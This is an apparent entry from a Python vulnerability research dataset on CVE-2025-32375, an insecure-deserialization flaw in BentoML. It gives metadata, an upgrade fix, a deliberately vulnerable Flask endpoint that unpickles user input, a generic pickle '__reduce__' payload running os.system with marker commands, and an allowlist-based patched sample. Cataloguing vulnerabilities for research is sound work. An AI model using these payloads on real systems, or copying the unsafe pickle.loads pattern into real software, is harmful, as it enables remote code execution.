VAITP Dataset

← Back to the dataset

CVE-2025-32375

Insecure deserialization allows arbitrary code execution. Fixed in 1.4.8.

  • CVSS 9.8
  • CWE-502
  • Design Defects
  • Remote

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.

CVSS base score
9.8
Published
2025-04-09
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Serialization Issues
Category
Design Defects
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
BentoML
Fixed by upgrading
Yes

Solution

Upgrade to BentoML version 1.4.8 or higher.

Vulnerable code sample

import pickle
import base64
import os
from flask import Flask, request, jsonify

app = Flask(__name__)

class UnsafeObject:
    def __reduce__(self):
        # THIS IS INSECURE.  NEVER DO THIS IN REAL CODE.
        return (os.system, ("echo 'Vulnerable!' > /tmp/vuln.txt ; ls -la /",))  # Simulate command execution

@app.route('/deserialize', methods=['POST'])
def deserialize():
    data = request.form['data']
    try:
        # Simulate deserialization from a potentially untrusted source (e.g., user input)
        payload = base64.b64decode(data)
        obj = pickle.loads(payload)  # INSECURE: Vulnerable to arbitrary code execution
        return jsonify({"status": "Object deserialized"})
    except Exception as e:
        return jsonify({"status": "Error deserializing", "error": str(e)})

if __name__ == '__main__':
    #Generate the exploit.
    command = "echo 'PWNED!' > /tmp/pwned.txt ; ls -la /"
    class Exploit:
        def __reduce__(self):
            return (os.system,(command,))

    serialized_data = pickle.dumps(Exploit())
    base64_encoded = base64.b64encode(serialized_data).decode()
    print(f"The exploit to be sent is: data={base64_encoded}")
    app.run(debug=True, host='0.0.0.0', port=5000)

Patched code sample

# This code provides a conceptual example of how insecure deserialization vulnerabilities
# can be mitigated.  It's NOT a direct fix for CVE-2025-32375, as the exact
# vulnerable code in BentoML prior to 1.4.8 is not publicly available.
# This demonstrates safer deserialization practices.

import pickle
import io
import sys

# Safe list of allowed classes/modules for deserialization
ALLOWED_CLASSES = ['builtins.int', 'builtins.float', 'builtins.str', 'builtins.list', 'builtins.dict']


def safe_load_pickle(data: bytes):
    """
    Safely loads pickle data, restricting deserialization to a whitelist of classes.
    """
    try:
        class CustomUnpickler(pickle.Unpickler):
            def find_class(self, module, name):
                qualified_name = f"{module}.{name}"
                if qualified_name not in ALLOWED_CLASSES:
                    raise pickle.UnpicklingError(f"Attempted to load unsafe class: {qualified_name}")
                return super().find_class(module, name)


        with io.BytesIO(data) as file:
            unpickler = CustomUnpickler(file)
            return unpickler.load()
    except (pickle.UnpicklingError, AttributeError, ImportError) as e:
        print(f"Error during deserialization: {e}", file=sys.stderr)
        return None  # Or raise an exception, depending on desired behavior


# Example usage (assuming data is received from a request)
def process_request(request_data: bytes):
    """
    Processes a request containing potentially serialized data.
    """
    deserialized_data = safe_load_pickle(request_data)

    if deserialized_data:
        print("Successfully deserialized data:", deserialized_data)
        # Further process the deserialized data here.  Be mindful of
        # the data types you are now dealing with.  Validate and sanitize.
    else:
        print("Failed to deserialize data.  Request rejected.", file=sys.stderr)


if __name__ == '__main__':
    # Example of safe data
    safe_data = pickle.dumps([1, 2, "hello"])
    process_request(safe_data)

    # Example of UNSAFE data (attempting to deserialize a function call - WILL FAIL)
    # Note: This WILL raise an error because 'os.system' is not in ALLOWED_CLASSES.
    # unsafe_data = pickle.dumps(lambda: __import__('os').system('echo "This is bad!"'))
    # process_request(unsafe_data)


    # Example of SAFE data
    safe_data2 = pickle.dumps({"name":"Example", "version":1.0})
    process_request(safe_data2)

Payload

import pickle
import base64

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('touch /tmp/pwned',))

serialized_payload = base64.b64encode(pickle.dumps(Exploit())).decode()

# The actual payload that would be sent as part of the POST request.  The specific headers and parameters
# would depend on the exact implementation details of the vulnerable BentoML server.  This just provides the
# malicious serialized object.
# Example:

# headers = {
#     "Content-Type": "application/octet-stream",
#     "X-Custom-Header": serialized_payload
# }
#
# data = {
#     "param1": "value1",
#     "serialized_data": serialized_payload
# }

# requests.post(url, headers=headers, data=data)

Cite this entry

@misc{vaitp:cve202532375,
  title        = {{Insecure deserialization allows arbitrary code execution. Fixed in 1.4.8.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-32375},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-32375/}}
}

Download this entry as JSON Download the whole dataset

Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::

Before you use the VAITP AI models

Please read and accept the following disclaimer:

By choosing "I understand and accept", you acknowledge that you understand and agree to these terms.